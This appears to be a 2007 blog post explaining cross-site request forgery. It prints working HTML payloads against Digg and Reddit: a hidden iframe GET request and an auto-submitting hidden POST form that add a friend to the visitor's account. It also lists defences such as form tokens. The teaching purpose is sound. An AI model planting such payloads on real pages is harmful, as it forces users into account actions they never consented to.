Note: CSRF is an attack were a user is logged on site A. Site B contains a malicious page which forces any user loading it to make a dangerous request on site A. When the user load the malicious page on site B he performs the request on A without even knowing it! Site A accepts the request since the user is logged-in.

It seems that digg has a poorly thought-out feature : a simple GET request to a particular URL can add a new friend to your account.

Create a page which makes the request to digg and *BAM*, any visitor of the page will add a friend to their account. Here is the offending code :

<iframe src="http://digg.com/invitefrom/russvirante" mce_src="http://digg.com/invitefrom/russvirante" height="1" width="1"></iframe>

It looks like digg has closed the hole. Now it returns a 302 response.

What should websites do to be protected from that kind of attack. Using POST instead of GET right?

Well it turns out using POST it is not enough to prevent CSRF attacks . Let’s demonstrate it with reddit. Reddit, like digg, allows you to add friends to your account. To do that you have to go to http://reddit.com/prefs/friends , type the name of the friend and press the add button. Here is the code of that form:

<form action="" method="post">

<input type="hidden" name="action" value="add"/>

<input style="margin: 0px" type="text" name="name" />

<button class="btn" type="submit">add</button>

</form>

Note that POST is used for that form.

Imagine that I am a narcissistic blog writer (not a too unlikely scenario) and I want every visitor of my site to add me as their friend on their reddit account.The only thing I have to do is create a page with the code snippet below and convince reddit users to visit it :

<iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe>

<form name="redditcsrf" action="http://programming.reddit.com/prefs/friends" method="post" target="hidden">

<input type="hidden" name="action" value="add"/>

<input style="margin: 0px" type="hidden" name="name" value="monkeyget"/>

</form>

<script>document.redditcsrf.submit();</script>

This code makes a POST request, asking reddit to add a new friend. An ajax request could also be used.

You can try it yourself :

Make sure you’re logged in on reddit Create an .html file containing the code snippet above Open the html file in your browser

Now if you check on http://reddit.com/prefs/friends you’ll see that a new friend has been added. (Tested successfully with Firefox and Opera. It didn’t work with IE. Javascript must be enabled. Your mileage may vary.)

This could be much more dangerous!

Imagine that I’m not narcissist but greedy. I could craft a page which forces the visitors of the page to creates new stories on reddit with their own account! If I could trick enough reddit users to visit my page (and that’s not hard on a website like reddit) then I could fill reddit with spam that would be hard to detect since they would be posted by legitimate users. I could get filthy rich!

What can be done to be protected from CSRF attacks?

Users:

Disable javascript. Without javascript it’s not possible to perform a POST request. However I could trick the user to click on the button of a malicious form. Also it wouldn’t prevent GET requests.

Set the browser to disable third party cookies. That is refuse to receive AND send cookies to third party websites. Internet explorer seems to do that (with my settings at least). Opera and firefox seem to have options to disable receiving cookies from third party website but I’m not sure if it blocks the SENDING of cookies during a request to a third party site.

Website Developer:

Check that the request is a POST (but as we’ve seen that’s not enough)

Check the referrer to make sure that the request doesn’t come from a third party website (wouldn’t work when referrer is disabled)

Use CAPTCHA (highly annoying for the user)

The current best practice seems to be adding an hidden field to forms which contain a special value (like a random value, the session-id, or the salted hash of a session-id) and check for that value when a request is made. That way CSRF would be impossible as long as the attacker can’t get or guess the value (see http://shiflett.org/articles/cross-site-request-forgeries

Browser maker :

Refuse to perform any POST to another domain. Unfortunately it would probably break a lot of applications

Never send cookies to other domains. This would also break a lot of things

Ask a confirmation when such a potentially dangerous operation is performed.

Edit : Someone managed to exploit the vulnerability as to allow the creation of new stories : http://reddit.com/info/1e7za/comments

Share this: Twitter

Facebook

Reddit

Like this: Like Loading...

This entry was posted on Friday, March 30th, 2007 at 10:20 pm and is filed under security. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.